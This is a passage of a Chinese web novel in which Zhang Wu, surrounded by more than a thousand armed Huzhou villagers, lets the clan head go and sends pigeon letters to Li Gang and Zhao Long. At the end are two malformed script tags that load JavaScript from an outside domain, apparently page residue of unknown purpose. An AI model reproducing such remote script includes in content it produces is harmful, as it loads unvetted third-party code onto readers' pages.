也就在同时,“唰唰唰”的密集脚步声响起。
从周围的田埂上、桑林后、村落的屋角边,突然冒出来无数手持锄头、粪叉、柴刀的壮硕汉子。
黑压压的一片,一眼望不到头,少说也有上千人。
他们什么话也不说,就那么冷冰冰地围了上来,把张武和他仅有的十几名手下团团围在了中间。
上千道冰冷的目光,上千把在阳光下闪着寒光的农具,让张武和他身后那些训练有素的讲武堂毕业生都感到了一阵头皮发麻。
“张队长。”钱八字轻轻拍了拍张武那抓着自己衣襟的手,慢悠悠地说道,“您看,我们湖州人,民风是比较彪悍的。您要带走我这个族长,也得问问我这一千多号族人,同不同意啊?”
张武的胸膛剧烈起伏着,眼睛都红了。
最终,他还是缓缓地松开了手。
他能打,可他不是神。他和他这十几号人一旦陷入这上千人的围攻,瞬间就会被撕成碎片。
当晚,憋了一肚子火的张武在自己的营帐里,一拳砸烂了一张桌子。
然后,他也开始写信。
和李文博一样,一封写给李纲,一封写给赵龙。
两只同样代表着焦急与困惑的信鸽,从江南两个不同的方向腾空而起。
一只飞向了江宁。
而另一只,则飞向了杭州。
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">